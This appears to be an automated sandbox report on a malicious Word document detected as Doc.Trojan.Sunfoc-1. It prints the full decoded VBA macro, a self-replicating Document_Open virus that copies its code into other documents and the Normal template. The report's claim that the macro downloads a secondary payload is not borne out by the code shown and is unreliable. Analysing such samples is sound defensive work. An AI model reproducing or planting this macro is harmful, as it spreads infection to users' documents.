MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro is designed to execute automatically when the document is opened. The macro code appears to manipulate its own content and then save the document, suggesting an attempt to download and execute a secondary payload. The ClamAV detection further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Sunfoc-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Sunfoc-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 829 bytes |
SHA-256: e5bf5cdf053eff7b763c2ba31fcd2c5a118a6fb70162b26de5e112b952682360 |
|||
|
Detection
ClamAV:
Doc.Trojan.Sunfoc-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Application.EnableCancelKey = wdCancelDisabled Options.VirusProtection = Yes Options.SaveNormalPrompt = Yes Options.ConfirmConversions = Yes For A = 1 To 3 If A = 1 Then Set B = ThisDocument Else If A = 2 Then Set B = ActiveDocument Else If A = 3 Then Set B = NormalTemplate Set C = B.VBProject Set D = C.VBComponents Set E = D.Item(1) Set F = E.CodeModule If A = 1 Then G = F.Lines(1, F.CountOfLines) Else F.DeleteLines 1, F.CountOfLines F.Addfromstring G End If Next ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.